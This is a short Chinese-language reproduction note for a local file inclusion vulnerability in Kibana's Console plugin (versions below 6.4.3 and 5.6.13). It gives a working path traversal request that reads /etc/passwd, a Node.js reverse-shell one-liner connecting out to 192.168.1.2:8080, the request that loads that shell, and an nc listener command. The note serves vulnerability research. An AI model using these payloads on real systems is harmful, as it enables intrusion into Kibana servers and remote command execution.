Elasticsearch Kibana Console插件漏洞
此漏洞出现在Kibana控制台(Console)插件中,控制台插件是KIbana的基本插件,也就是Kibana必装的插件。当前elastic最新版本为6.5,可以说大部分elk的组件会存在此问题,但是此问题利用难点在于如何创建一个恶意的本地文件。(暂时未有很好的姿势创建本地文件,如果有大佬有想法欢迎讨论哈)。
受影响版本:
ElasticSearch Kibana < 6.4.3
ElasticSearch Kibana < 5.6.13
漏洞复现过程
请求Kibana链接:
http://192.168.1.3:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd
在kibana的log中可以看到/etc/passwd
的信息
反弹shell
在kibana的机器创建 /tmp/shell.js
一句话反弹shell,测试效果
(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(8080, "192.168.1.2", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();
请求包含刚刚创建的shell:
http://192.168.1.3:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../tmp/shell.js
本地监听 nc -l 8080 -v
最终漏洞的影响关键在于如何创建shell文件。